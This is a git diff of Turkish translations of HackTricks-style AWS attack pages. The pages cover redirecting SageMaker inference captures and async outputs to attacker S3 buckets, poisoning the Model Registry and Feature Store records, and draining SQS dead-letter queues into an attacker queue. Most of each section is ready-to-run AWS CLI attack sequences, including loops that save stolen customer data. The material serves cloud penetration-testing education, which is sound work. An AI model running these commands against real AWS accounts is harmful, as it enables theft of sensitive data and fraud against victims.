3) Aynı varyantları koruyan ancak DataCapture'ı attacker bucket'a etkinleştiren yeni bir EndpointConfig oluşturun
|
||||
|
||||
Not: CLI doğrulamasını karşılayan açık içerik türleri kullanın.
|
||||
Not: CLI doğrulamasını karşılayacak açık content-type'ları kullanın
|
||||
```bash
|
||||
NEWCFG=${CFG}-dc
|
||||
cat > /tmp/dc.json << JSON
|
||||
@@ -54,51 +54,50 @@ aws sagemaker create-endpoint-config \
|
||||
--production-variants file:///tmp/pv.json \
|
||||
--data-capture-config file:///tmp/dc.json
|
||||
```
|
||||
4) Yeni yapılandırmayı kademeli güncelleme (rolling update) ile uygula (asgari/hiç kesintiyle)
|
||||
4) Yeni yapılandırmayı kademeli güncelleme ile uygulayın (minimum/hiç kesinti olmadan)
|
||||
```bash
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
5) En az bir çıkarım isteği oluşturun (canlı trafik varsa isteğe bağlı)
|
||||
5) En az bir inference çağrısı oluşturun (canlı trafik varsa isteğe bağlı)
|
||||
```bash
|
||||
echo '{"inputs":[1,2,3]}' > /tmp/payload.json
|
||||
aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \
|
||||
--content-type application/json --accept application/json \
|
||||
--body fileb:///tmp/payload.json /tmp/out.bin || true
|
||||
```
|
||||
6) Saldırganın S3'ündeki yakalamaları doğrulayın
|
||||
6) attacker S3'teki captures'ları doğrulayın
|
||||
```bash
|
||||
aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize
|
||||
```
|
||||
### Etki
|
||||
- Hedef endpoint'ten attacker‑controlled S3 bucket'a gerçek‑zamanlı inference istek ve yanıt payload'larının (ve metadata'nın) tam exfiltration'ı.
|
||||
- model/container image üzerinde hiçbir değişiklik yok ve yalnızca endpoint‑level değişiklikler, minimal operasyonel aksama ile stealthy data theft path sağlar.
|
||||
|
||||
- Hedeflenen endpoint'ten saldırgan kontrolündeki bir S3 bucket'ına gerçek zamanlı inference istek ve yanıt yüklerinin (ve metadata) tam dışa aktarımı.
|
||||
- Model/container imajında değişiklik olmadan, yalnızca endpoint düzeyinde yapılan değişikliklerle minimal operasyonel aksama ile gizli bir veri hırsızlığı yolunun mümkün olması.
|
||||
|
||||
## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig
|
||||
|
||||
Mevcut EndpointConfig'i klonlayıp AsyncInferenceConfig.OutputConfig içindeki S3OutputPath/S3FailurePath'i ayarlayarak endpoint yönetimini suistimal edin ve asenkron inference çıktılarının attacker‑controlled S3 bucket'a yönlendirilmesini sağlayın. Bu, model/container'ı değiştirmeden model predictions (ve container tarafından dahil edilen herhangi bir dönüşmüş input) exfiltrate eder.
|
||||
Mevcut EndpointConfig'i klonlayıp AsyncInferenceConfig.OutputConfig içindeki S3OutputPath/S3FailurePath'i ayarlayarak endpoint yönetimini suistimal edin ve asenkron inference çıktılarının saldırgan kontrolündeki bir S3 bucket'ına yönlendirilmesini sağlayın. Bu, model tahminlerini (ve container tarafından dönüştürülüp dahil edilen girdileri) model/container'ı değiştirmeden dışa aktarır.
|
||||
|
||||
### Requirements
|
||||
### Gereksinimler
|
||||
- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint`
|
||||
- S3: model execution role veya izinli bir bucket policy aracılığıyla attacker S3 bucket'a yazma yeteneği
|
||||
- Target: Asenkron invokasyonların kullanıldığı (veya kullanılacak) bir InService endpoint
|
||||
- S3: model execution role veya permissive bucket policy aracılığıyla saldırgan kontrolündeki S3 bucket'ına yazma yetkisi
|
||||
- Hedef: Asenkron invokasyonların kullanıldığı (veya kullanılacak) bir InService endpoint
|
||||
|
||||
### Steps
|
||||
1) Hedef endpoint'ten mevcut ProductionVariants'i toplayın
|
||||
### Adımlar
|
||||
1) Hedef endpoint'ten mevcut ProductionVariants'ları toplayın
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
EP=<target-endpoint-name>
|
||||
CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text)
|
||||
aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json
|
||||
```
|
||||
2) attacker bucket oluşturun (model execution role'un ona PutObject yapabildiğinden emin olun)
|
||||
2) Bir attacker bucket oluşturun (model execution role'unun ona PutObject yapabildiğinden emin olun)
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-async-exfil-$ACC-$(date +%s)
|
||||
aws s3 mb s3://$BUCKET --region $REGION || true
|
||||
```
|
||||
3) EndpointConfig'i klonlayın ve AsyncInference çıktıları saldırgan bucket'ına yönlendirin.
|
||||
3) EndpointConfig'i klonlayın ve AsyncInference çıktılarının saldırgan bucket'a yönlendirilmesini sağlayın
|
||||
```bash
|
||||
NEWCFG=${CUR_CFG}-async-exfil
|
||||
cat > /tmp/async_cfg.json << JSON
|
||||
@@ -108,7 +107,7 @@ aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "
|
||||
aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG"
|
||||
aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP"
|
||||
```
|
||||
4) Bir async invocation tetikleyin ve nesnelerin attacker S3'te olduğunu doğrulayın
|
||||
4) Asenkron bir çağrı tetikleyin ve nesnelerin saldırganın S3'üne düştüğünü doğrulayın
|
||||
```bash
|
||||
aws s3 cp /etc/hosts s3://$BUCKET/inp.bin
|
||||
aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true
|
||||
@@ -117,27 +116,26 @@ aws s3 ls s3://$BUCKET/async-out/ --recursive || true
|
||||
aws s3 ls s3://$BUCKET/async-fail/ --recursive || true
|
||||
```
|
||||
### Etki
|
||||
- Asenkron çıkarım sonuçlarını (ve hata gövdelerini) saldırgan kontrolündeki S3'e yönlendirir; bu, model kodu veya image'ı değiştirmeden ve minimum/hiç kesinti olmadan, konteyner tarafından üretilen tahminlerin ve muhtemelen hassas ön/son işlem görmüş girdilerin örtülü olarak sızdırılmasını sağlar.
|
||||
- Asenkron inference sonuçlarını (ve hata gövdelerini) saldırgan kontrollü S3'e yönlendirir; bu, model kodunu veya image'ı değiştirmeden ve minimum/hiç kesinti olmadan container tarafından üretilen tahminlerin ve potansiyel olarak hassas ön/son işlenmiş girdilerin gizli olarak sızdırılmasını sağlar.
|
||||
|
||||
## SageMaker Model Registry supply-chain injection via CreateModelPackage(Approved)
|
||||
|
||||
## SageMaker Model Registry tedarik zinciri enjeksiyonu aracılığıyla CreateModelPackage(Approved)
|
||||
|
||||
Eğer bir saldırgan hedef SageMaker Model Package Group üzerinde CreateModelPackage yapabiliyorsa, saldırgan kontrolündeki bir container image'ına işaret eden yeni bir model sürümünü kaydedebilir ve bunu hemen Approved olarak işaretleyebilir. Birçok CI/CD pipeline'ı Approved model sürümlerini otomatik olarak endpoints veya training jobs'a dağıtır; bu da servisin execution roles altında saldırgan kodunun çalıştırılmasına yol açar. Hesaplar arası maruziyet, permissive ModelPackageGroup resource policy ile daha da artabilir.
|
||||
Eğer bir saldırgan hedef bir SageMaker Model Package Group üzerinde CreateModelPackage yapabilirse, saldırgan kontrollü bir container image'a işaret eden yeni bir model sürümü kaydedip hemen Approved olarak işaretleyebilir. Birçok CI/CD pipeline'ı Approved model sürümlerini endpoint'lere veya training job'larına otomatik deploy eder; bu da servisin execution role'ları altında saldırgan kodu çalıştırılmasına yol açar. Hesaplar arası açık, izin verici bir ModelPackageGroup resource policy ile daha da büyütülebilir.
|
||||
|
||||
### Gereksinimler
|
||||
- IAM (var olan bir grubu zehirlemek için minimum): hedef ModelPackageGroup üzerinde `sagemaker:CreateModelPackage`
|
||||
- Opsiyonel (grup yoksa oluşturmak için): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Referans verilen ModelDataUrl için okuma erişimi (veya saldırgan kontrolündeki artefaktları barındırma)
|
||||
- Hedef: Aşağı yönlü otomasyonun Approved sürümleri izlediği bir Model Package Group
|
||||
- IAM (mevcut bir grubu zehirlemek için asgari izin): `sagemaker:CreateModelPackage` hedef ModelPackageGroup üzerinde
|
||||
- İsteğe bağlı (bir grup yoksa oluşturmak için): `sagemaker:CreateModelPackageGroup`
|
||||
- S3: Referans verilen ModelDataUrl için okuma erişimi (veya saldırgan kontrollü artefaktları barındırma)
|
||||
- Hedef: Alt akış otomasyonunun Approved sürümleri izlediği bir Model Package Group
|
||||
|
||||
### Adımlar
|
||||
1) Bölgeyi (region) ayarlayın ve hedef bir Model Package Group oluşturun/veya bulun
|
||||
1) Bölgeyi ayarla ve hedef bir Model Package Group oluşturun/bulun
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
MPG=victim-group-$(date +%s)
|
||||
aws sagemaker create-model-package-group --region $REGION --model-package-group-name $MPG --model-package-group-description "test group"
|
||||
```
|
||||
2) S3'te örnek model verisini hazırla
|
||||
2) S3'te örnek model verisi hazırlayın
|
||||
```bash
|
||||
ACC=$(aws sts get-caller-identity --query Account --output text)
|
||||
BUCKET=ht-sm-mpkg-$ACC-$(date +%s)
|
||||
@@ -145,7 +143,7 @@ aws s3 mb s3://$BUCKET --region $REGION
|
||||
head -c 1024 </dev/urandom > /tmp/model.tar.gz
|
||||
aws s3 cp /tmp/model.tar.gz s3://$BUCKET/model/model.tar.gz --region $REGION
|
||||
```
|
||||
3) Genel kullanıma açık bir AWS DLC imajına referans veren kötü amaçlı (burada zararsız) Approved model package version kaydetme
|
||||
3) Kötü amaçlı (burada zararsız) bir Onaylı model paket sürümünü, public bir AWS DLC image'ını referans göstererek kaydetme
|
||||
```bash
|
||||
IMG="683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3"
|
||||
cat > /tmp/inf.json << JSON
|
||||
@@ -166,14 +164,15 @@ aws sagemaker create-model-package --region $REGION --model-package-group-name
|
||||
```bash
|
||||
aws sagemaker list-model-packages --region $REGION --model-package-group-name $MPG --output table
|
||||
```
|
||||
### Etki
|
||||
- Model Registry'yi, saldırgan tarafından kontrol edilen koda referans veren bir Approved sürümü ile zehirleyin. Approved modelleri otomatik dağıtan Pipelines, saldırgan imajını çekip çalıştırabilir ve böylece endpoint/training rollerinde kod yürütülmesine yol açabilir.
|
||||
- İzin verici bir ModelPackageGroup kaynak politikası (PutModelPackageGroupPolicy) varsa, bu suistimal hesaplar arası tetiklenebilir.
|
||||
### Impact
|
||||
- Model Registry'i, saldırgan-kontrolündeki koda referans veren Approved bir sürümle zehirleyin. Auto-deploy yapan Pipelines, Approved modelleri çekip saldırgan image'ını çalıştırabilir; bu, endpoint/training rolleri altında kod çalıştırılmasına yol açar.
|
||||
- İzin veren bir ModelPackageGroup resource policy'si (PutModelPackageGroupPolicy) ile bu kötüye kullanım cross-account tetiklenebilir.
|
||||
|
||||
## Feature store poisoning
|
||||
|
||||
Online inference tarafından tüketilen canlı feature değerlerini üzerine yazmak için OnlineStore etkin bir Feature Group üzerinde `sagemaker:PutRecord`'ı kötüye kullanın. `sagemaker:GetRecord` ile birleştirildiğinde, saldırgan hassas feature'ları okuyabilir. Bunun için modellere veya endpoints erişimine gerek yoktur.
|
||||
OnlineStore etkin bir Feature Group üzerinde `sagemaker:PutRecord`'ı kötüye kullanarak online inference tarafından tüketilen canlı feature değerlerini üzerine yazın. `sagemaker:GetRecord` ile birleştiğinde, saldırgan hassas feature'ları okuyabilir. Bunun için modellerin veya endpoint'lerin erişimine gerek yoktur.
|
||||
|
||||
{{#ref}}
|
||||
feature-store-poisoning.md
|
||||
{{/ref}}
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
+20
-32
@@ -1,17 +1,19 @@
|
||||
# SageMaker Feature Store online store poisoning
|
||||
|
||||
OnlineStore etkinleştirilmiş bir Feature Group üzerinde `sagemaker:PutRecord`'ı kötüye kullanarak, online inference tarafından tüketilen canlı feature değerlerini üzerine yazabilirsiniz. `sagemaker:GetRecord` ile birleştiğinde, saldırgan hassas feature'ları okuyabilir ve gizli ML verilerini exfiltrate edebilir. Bu, modellere veya endpointlere erişim gerektirmez; bu nedenle doğrudan veri katmanı saldırısıdır.
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
OnlineStore etkin bir Feature Group üzerinde `sagemaker:PutRecord`'ı kötüye kullanarak, online inference tarafından tüketilen canlı feature değerlerini üzerine yazabilirsiniz. `sagemaker:GetRecord` ile birleştirildiğinde, bir saldırgan hassas feature'ları okuyabilir. Bu, modellere veya endpoint'lere erişim gerektirmez.
|
||||
|
||||
## Gereksinimler
|
||||
- İzinler: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
|
||||
- Hedef: OnlineStore etkinleştirilmiş Feature Group (genellikle gerçek zamanlı inference'ı destekler)
|
||||
- Karmaşıklık: **LOW** - Basit AWS CLI komutları, model manipülasyonu gerektirmez
|
||||
- Hedef: OnlineStore etkin bir Feature Group (genellikle gerçek zamanlı inference'i destekler)
|
||||
- Karmaşıklık: **LOW** - Basit AWS CLI komutları, model manipülasyonu gerekmez
|
||||
|
||||
## Adımlar
|
||||
|
||||
### Reconnaissance
|
||||
### Keşif
|
||||
|
||||
1) OnlineStore etkinleştirilmiş Feature Group'ları listele
|
||||
1) OnlineStore etkin olan Feature Group'ları listele
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
aws sagemaker list-feature-groups \
|
||||
@@ -19,16 +21,16 @@ aws sagemaker list-feature-groups \
|
||||
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
|
||||
--output table
|
||||
```
|
||||
2) Şemasını anlamak için hedef Feature Group'u tanımlayın
|
||||
2) Hedef Feature Group'un şemasını anlamak için tanımlayın
|
||||
```bash
|
||||
FG=<feature-group-name>
|
||||
aws sagemaker describe-feature-group \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG"
|
||||
```
|
||||
`RecordIdentifierFeatureName`, `EventTimeFeatureName` ve tüm feature tanımlarına dikkat edin. Bunlar geçerli kayıtlar oluşturmak için gereklidir.
|
||||
`RecordIdentifierFeatureName`, `EventTimeFeatureName` ve tüm özellik tanımlarına dikkat edin. Bunlar geçerli kayıtlar oluşturmak için gereklidir.
|
||||
|
||||
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
|
||||
### Saldırı Senaryosu 1: Data Poisoning (Overwrite Existing Records)
|
||||
|
||||
1) Mevcut geçerli kaydı okuyun
|
||||
```bash
|
||||
@@ -37,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
2) Poison the record'ı kötü amaçlı değerlerle inline `--record` parametresini kullanarak zehirleyin
|
||||
2) Inline `--record` parametresi kullanarak kaydı kötü amaçlı değerlerle zehirleyin
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -61,11 +63,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-001
|
||||
```
|
||||
**Etkisi**: ML modelleri bu özelliği tüketirken artık meşru bir kullanıcı için `risk_score=0.99` görecek, bu da işlemlerini veya hizmetlerini engelleyebilir.
|
||||
**Etkisi**: Bu özelliği kullanan ML modelleri artık meşru bir kullanıcı için `risk_score=0.99` görecek, bu da işlemlerini veya hizmetlerini potansiyel olarak engelleyebilir.
|
||||
|
||||
### Saldırı Senaryosu 2: Malicious Data Injection (Create Fraudulent Records)
|
||||
|
||||
Güvenlik kontrollerinden kaçmak için manipüle edilmiş özelliklerle tamamen yeni kayıtlar enjekte edin:
|
||||
Güvenlik kontrollerinden kaçmak için manipüle edilmiş özelliklere sahip tamamen yeni kayıtlar enjekte edin:
|
||||
```bash
|
||||
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
|
||||
|
||||
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
|
||||
]" \
|
||||
--target-stores OnlineStore
|
||||
```
|
||||
Enjeksiyonu doğrulayın:
|
||||
injection'i doğrulayın:
|
||||
```bash
|
||||
aws sagemaker-featurestore-runtime get-record \
|
||||
--region $REGION \
|
||||
--feature-group-name "$FG" \
|
||||
--record-identifier-value-as-string user-999
|
||||
```
|
||||
**Etkisi**: Saldırgan, sahtekarlık tespitini tetiklemeden yüksek değerli sahte işlemler gerçekleştirebilecek düşük risk skoruna (0.01) sahip sahte bir kimlik oluşturur.
|
||||
**Impact**: Saldırgan, düşük risk skoruna (0.01) sahip sahte bir kimlik oluşturarak dolandırıcılık tespitini tetiklemeden yüksek değerde dolandırıcılık işlemleri gerçekleştirebilir.
|
||||
|
||||
### Saldırı Senaryosu 3: Sensitive Data Exfiltration
|
||||
### Saldırı Senaryosu 3: Hassas Veri Sızdırma
|
||||
|
||||
Birden fazla kaydı okuyarak gizli özellikleri çıkarmak ve model davranışını profillemek:
|
||||
Gizli özellikleri çıkarmak ve model davranışını profillemek için birden fazla kaydı oku:
|
||||
```bash
|
||||
# Exfiltrate data for known users
|
||||
for USER_ID in user-001 user-002 user-003 user-999; do
|
||||
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
|
||||
--record-identifier-value-as-string ${USER_ID}
|
||||
done
|
||||
```
|
||||
**Etkisi**: Gizli özellikler (risk puanları, işlem desenleri, kişisel veriler) saldırganın erişimine açılır.
|
||||
**Etkisi**: Gizli özellikler (risk skorları, işlem desenleri, kişisel veriler) saldırgan tarafından açığa çıkarılabilir.
|
||||
|
||||
### Test/Demo Özellik Grubu Oluşturma (İsteğe Bağlı)
|
||||
### Test/Demo Feature Group Oluşturma (İsteğe Bağlı)
|
||||
|
||||
Test bir Özellik Grubu oluşturmanız gerekiyorsa:
|
||||
Bir test Feature Group oluşturmanız gerekiyorsa:
|
||||
```bash
|
||||
REGION=${REGION:-us-east-1}
|
||||
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
|
||||
@@ -141,20 +143,6 @@ fi
|
||||
|
||||
echo "Feature Group ready: $FG"
|
||||
```
|
||||
## Tespit
|
||||
|
||||
Şüpheli kalıplar için CloudTrail'i izleyin:
|
||||
- `PutRecord` events from unusual IAM principals or IP addresses
|
||||
- Yüksek sıklıkta `PutRecord` veya `GetRecord` çağrıları
|
||||
- `PutRecord` with anomalous feature values (e.g., risk_score outside normal range)
|
||||
- Toplu `GetRecord` operations indicating mass exfiltration
|
||||
- Normal iş saatleri dışında veya beklenmedik konumlardan erişim
|
||||
|
||||
Anomali tespiti uygulayın:
|
||||
- Özellik değeri doğrulaması (örn., `risk_score` 0.0-1.0 aralığında olmalı)
|
||||
- Yazma kalıbı analizi (sıklık, zamanlama, kaynak kimliği)
|
||||
- Veri kayması tespiti (özellik dağılımlarındaki ani değişiklikler)
|
||||
|
||||
## Referanslar
|
||||
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
|
||||
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
|
||||
|
||||
+41
-37
@@ -1,53 +1,55 @@
|
||||
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Açıklama
|
||||
|
||||
SQS message move task'larını istismar ederek, kurbanın Dead-Letter Queue (DLQ)'sinde biriken tüm mesajları `sqs:StartMessageMoveTask` kullanarak saldırgana ait bir kuyruğa yönlendirip çalın. Bu teknik, AWS'in meşru mesaj kurtarma özelliğini kullanarak zaman içinde DLQ'larda biriken hassas verileri exfiltrate etmeye yarar.
|
||||
SQS message move tasks'ı kötüye kullanarak, kurbanın Dead-Letter Queue (DLQ)'unda biriken tüm mesajları `sqs:StartMessageMoveTask` ile saldırgan kontrollü bir kuyruğa yönlendirip çalın. Bu teknik, AWS'in meşru message recovery özelliğini kullanarak DLQ'larda zaman içinde biriken hassas verileri exfiltrate etmeye yarar.
|
||||
|
||||
## What is a Dead-Letter Queue (DLQ)?
|
||||
## Dead-Letter Queue (DLQ) nedir?
|
||||
|
||||
A Dead-Letter Queue, ana uygulama tarafından başarıyla işlenemeyen mesajların otomatik olarak gönderildiği özel bir SQS queue'dur. Bu başarısız mesajlar genellikle şunları içerir:
|
||||
Dead-Letter Queue, ana uygulama tarafından başarılı bir şekilde işlenemeyen mesajların otomatik olarak gönderildiği özel bir SQS kuyruğudur. Bu başarısız mesajlar genellikle şunları içerir:
|
||||
- İşlenemeyen hassas uygulama verileri
|
||||
- Hata detayları ve debugging bilgileri
|
||||
- Hata detayları ve debug bilgileri
|
||||
- Personal Identifiable Information (PII)
|
||||
- API tokens, credentials veya diğer secret'lar
|
||||
- API tokenları, kimlik bilgileri veya diğer gizli veriler
|
||||
- İş açısından kritik işlem verileri
|
||||
|
||||
DLQ'lar başarısız mesajlar için bir "mezarlık" görevi görür ve uygulamaların düzgün işleyemediği hassas verileri zaman içinde biriktirdikleri için değerli hedefler haline gelirler.
|
||||
DLQ'lar başarısız mesajlar için bir "mezarlık" görevi görür; uygulamaların doğru şekilde işleyemediği hassas verilerin zaman içinde birikmesi nedeniyle değerli hedeflerdir.
|
||||
|
||||
## Saldırı Senaryosu
|
||||
|
||||
**Gerçek dünya örneği:**
|
||||
1. **E-commerce uygulaması** müşteri siparişlerini SQS üzerinden işler
|
||||
2. **Bazı siparişler başarısız olur** (ödeme sorunları, stok problemleri vb.) ve bir DLQ'ya taşınır
|
||||
3. **DLQ haftalar/aylar boyunca** müşteriye ait veri içeren başarısız siparişleri biriktirir: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Saldırgan**, SQS izinlerine sahip AWS kimlik bilgilerine erişim sağlar
|
||||
5. **Saldırgan keşfeder** ki DLQ binlerce hassas müşteri siparişi içeriyor
|
||||
6. **Bireysel mesajlara erişmeye çalışmak yerine** (yavaş ve fark edilir), saldırgan `StartMessageMoveTask` kullanarak TÜM mesajları kendi kuyruğuna toplu olarak taşır
|
||||
7. **Saldırgan tek bir operasyonla** tüm geçmişe dair hassas verileri çıkarır
|
||||
3. **DLQ haftalar/aylar boyunca** müşteri verileri içeren başarısız siparişlerle dolar: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
|
||||
4. **Saldırgan AWS kimlik bilgilerini ele geçirir** ve SQS izinlerine sahiptir
|
||||
5. **Saldırgan DLQ'nun** binlerce hassas kayıt içerdiğini keşfeder
|
||||
6. **Tek tek mesajlara erişmeye çalışmak yerine** (yavaş ve belirgin), saldırgan `StartMessageMoveTask` kullanarak TÜM mesajları kendi kuyruğuna topluca aktarır
|
||||
7. **Saldırgan tek bir operasyonla** geçmişte birikmiş tüm hassas verileri çıkarır
|
||||
|
||||
## Gereksinimler
|
||||
- Kaynak kuyruk bir DLQ olarak yapılandırılmış olmalı (en az bir queue tarafından RedrivePolicy ile referans verilmiş olmalı).
|
||||
- IAM izinleri (ele geçirilmiş kurban prinsipiyle çalıştırılacak):
|
||||
- DLQ (source) üzerinde: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Destination queue üzerinde: mesaj teslimine izin veren izin (ör. kurban prinsipi tarafından `sqs:SendMessage`'a izin veren queue policy). Aynı hesap içindeki destinasyonlar için bu genellikle varsayılan olarak izinlidir.
|
||||
- Eğer SSE-KMS etkinse: source CMK üzerinde `kms:Decrypt`, destination CMK üzerinde `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
- Kaynak kuyruk en az bir queue RedrivePolicy tarafından referans gösterilen bir DLQ olarak yapılandırılmış olmalı.
|
||||
- IAM izinleri (ele geçirilmiş kurban principal'i ile çalıştırılacak):
|
||||
- Kaynak (DLQ) üzerinde: `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
|
||||
- Hedef kuyruk üzerinde: mesaj gönderme izni (ör. kurban principal'inden `sqs:SendMessage` izni veren queue policy). Aynı hesap içindeki hedefler için bu genellikle varsayılan olarak izinlidir.
|
||||
- SSE-KMS etkinse: kaynak CMK üzerinde `kms:Decrypt`, hedef CMK üzerinde `kms:GenerateDataKey`, `kms:Encrypt`.
|
||||
|
||||
## Etki
|
||||
DLQ'larda birikmiş hassas payload'ları (başarısız event'ler, PII, token'lar, uygulama payload'ları) yerleşik SQS API'leri kullanarak yüksek hızda exfiltrate edebilirsiniz. Eğer destinasyon queue policy, kurban prinsipi tarafından `SendMessage`'a izin veriyorsa cross-account çalışır.
|
||||
## Etkisi
|
||||
Exfiltrate edilmesi gereken DLQ'larda birikmiş hassas yükleri (başarısız event'ler, PII, tokenlar, uygulama payload'ları) yerel SQS API'leri kullanarak yüksek hızda çıkarma. Hedef kuyruk policy'si kurban principal'inden `SendMessage` iznine izin veriyorsa cross-account olarak da çalışır.
|
||||
|
||||
## Nasıl Kötüye Kullanılır
|
||||
|
||||
- Hedef DLQ ARN'sini belirleyin ve gerçekten bir DLQ olarak başka bir queue tarafından referans verildiğinden emin olun (herhangi bir queue yeterlidir).
|
||||
- Saldırgana ait bir destination queue oluşturun veya seçin ve ARN'sini alın.
|
||||
- Hedef DLQ'dan destination queue'ya bir message move task başlatın.
|
||||
- Kurban DLQ ARN'sini tespit edin ve gerçekten bir DLQ olarak bir kuyruk tarafından referans gösterildiğinden emin olun (herhangi bir kuyruk yeterlidir).
|
||||
- Saldırgan kontrollü bir hedef kuyruk oluşturun veya seçin ve ARN'sini alın.
|
||||
- Kurban DLQ'dan hedef kuyruğunuza bir message move task başlatın.
|
||||
- İlerlemeyi izleyin veya gerekirse iptal edin.
|
||||
|
||||
### CLI Example: Exfiltrating Customer Data from E-commerce DLQ
|
||||
|
||||
**Scenario**: Bir saldırgan AWS kimlik bilgilerini ele geçirmiş ve e-commerce uygulamasının failed müşteri sipariş işlemlerini içeren bir DLQ kullandığını keşfetmiştir.
|
||||
**Scenario**: An attacker has compromised AWS credentials and discovered that an e-commerce application uses SQS with a DLQ containing failed customer order processing attempts.
|
||||
|
||||
1) **Hedef DLQ'yu keşfedin ve inceleyin**
|
||||
1) **Discover and examine the victim DLQ**
|
||||
```bash
|
||||
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
|
||||
aws sqs list-queues --queue-name-prefix dlq
|
||||
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
|
||||
--attribute-names ApproximateNumberOfMessages
|
||||
# Output might show: "ApproximateNumberOfMessages": "1847"
|
||||
```
|
||||
2) **Saldırgan tarafından kontrol edilen hedef kuyruğu oluşturun**
|
||||
2) **attacker-controlled destination queue oluşturun**
|
||||
```bash
|
||||
# Create our exfiltration queue
|
||||
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
|
||||
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
|
||||
# Monitor the theft progress
|
||||
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
|
||||
```
|
||||
4) **Çalınan hassas verileri toplama**
|
||||
4) **Çalınmış hassas verileri topla**
|
||||
```bash
|
||||
# Receive the exfiltrated customer data
|
||||
echo "Receiving stolen customer data..."
|
||||
@@ -114,20 +116,20 @@ echo "$MESSAGES" >> stolen_customer_data.json
|
||||
done
|
||||
```
|
||||
### Hesaplar arası notlar
|
||||
- Hedef kuyruğun, hedef principal'in `sqs:SendMessage` yapmasına izin veren bir resource policy'si olmalıdır (ve, kullanılıyorsa, KMS grants/permissions).
|
||||
- Hedef kuyruğun, mağdur principal'in `sqs:SendMessage` yapmasına izin veren bir resource policy'ye sahip olması gerekir (ve kullanılıyorsa, KMS grants/permissions).
|
||||
|
||||
## Neden Bu Saldırı Etkili
|
||||
|
||||
1. **Meşru AWS Özelliği**: Yerleşik AWS işlevselliğini kullanır, bu yüzden kötü amaçlı olarak tespit edilmesi zordur
|
||||
2. **Toplu İşlem**: Yavaş tek tek erişim yerine binlerce mesajı hızlıca taşır
|
||||
3. **Geçmiş Veriler**: DLQ'lar haftalar/aylar içinde hassas veriler biriktirir
|
||||
1. **Meşru AWS Özelliği**: Yerleşik AWS işlevselliğini kullanır; bu da kötü amaçlı olarak algılanmasını zorlaştırır
|
||||
2. **Toplu İşlem**: Binlerce mesajı yavaş tek tek erişim yerine hızla aktarır
|
||||
3. **Tarihsel Veri**: DLQs haftalar/aylar boyunca hassas verileri biriktirir
|
||||
4. **Radarın Dışında**: Birçok kuruluş DLQ erişimini yakından izlemez
|
||||
5. **Hesaplar Arası Yeteneği**: İzinler olursa saldırganın kendi AWS hesabına veri sızdırabilir
|
||||
5. **Hesaplar Arası Mümkün**: İzinler varsa saldırgan kendi AWS hesabına exfiltrate yapabilir
|
||||
|
||||
## Tespit ve Önleme
|
||||
|
||||
### Tespit
|
||||
Şüpheli `StartMessageMoveTask` API çağrılarını tespit etmek için CloudTrail'i izleyin:
|
||||
Şüpheli `StartMessageMoveTask` API çağrılarını CloudTrail üzerinde izleyin:
|
